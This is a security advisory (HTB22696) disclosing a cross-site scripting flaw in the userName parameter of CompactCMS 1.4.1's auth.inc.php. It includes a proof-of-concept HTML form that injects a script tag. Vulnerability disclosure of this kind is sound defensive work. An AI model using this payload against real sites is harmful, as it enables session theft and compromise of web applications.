[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

XSS in CompactCMS



Vulnerability ID: HTB22696
Reference: http://www.htbridge.ch/advisory/xss_in_compactcms_1.html
Product: CompactCMS
Vendor: compactcms.nl ( http://www.compactcms.nl/ ) 
Vulnerable Version: 1.4.1
Vendor Notification: 04 November 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/lib/includes/auth.inc.php" script to properly sanitize user-supplied input in "userName" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available: 


<form action="http://[host]/lib/includes/auth.inc.php"; method="post" name="main" >
<input type="hidden" name="userName" value="123&#34;><script>alert(&#34;XSS&#34;);</script>" />
<input type="hidden" name="userPass" value="123" />
<input type="submit" value="Submit" name="submit" />
</form>

Solution: Upgrade to the most recent version